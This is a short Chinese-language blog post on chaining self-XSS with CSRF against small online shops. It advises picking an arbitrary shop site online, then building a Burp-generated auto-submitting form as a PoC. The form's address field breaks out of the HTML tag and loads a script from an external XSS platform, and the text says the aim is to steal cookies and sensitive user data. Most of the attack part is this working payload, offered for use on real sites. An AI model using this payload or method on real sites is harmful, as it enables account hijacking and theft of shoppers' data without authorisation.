这应该是对大流量企业有影响的情况了

参考：http://www.youknowi.xin/2019/03/%e5%bd%93xss%e9%81%87%e4%b8%8acsrf/

较传统漏洞，这种类型的更常见，但危害看情况定了；以前记录过很多，但是没怎么结合挖过，这几天挖下，太常见了，小商城 xss 和 csrf，一挖一准，再结合其他的危害就提升了

直接操作可以参考：http://canmengblog.lofter.com/post/1d61af1b_ef24aa9c

随便去网上找一个商城网站（简单判断下是不是传统的 cms）

然后找一个 xss（self），再判断下有没有 csrf 防护（token 和 refer）

然后 burp 生成 csrf.html，在同一浏览器模拟用户点击 csrf.html

即可完成 csrf 操作 xss（xss 代码可以是 get_cookies，发送信息（信息可以是用户的敏感信息，结合上篇博客文章讲的 jsonp 信息返回））

技术性的个人写了太多就不多写了

poc

```
<form action="http://xxx/account/setaddress.php?action=shop"
method="POST">
  <input type="hidden" name="sign" value="66sc" />
  <input type="hidden" name="name" value="121312112" />
  <input type="hidden" name="mobile" value="1212121212" />
  <input type="hidden" name="seachprov" value="110000" />
  <input type="hidden" name="seachdistrict" value="110100" />
  <input type="hidden" name="homecity" value="110101" />
  <input type="hidden" name="province" value="&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;" />
  <input type="hidden" name="area" value="&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;" />
  <input type="hidden" name="city" value="&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;" />
  <input type="hidden" name="street" value=""></p><script
src=https://xsspt.com/9s5aPm></script><"<p>" />
  <input type="hidden" name="zipcode" value="123456" />
</form>
<script>
document.getElementById("csrf").submit();
window.location.href("http://xxx/account/setaddress.php");
</script>
```

注意具体情况，闭合标签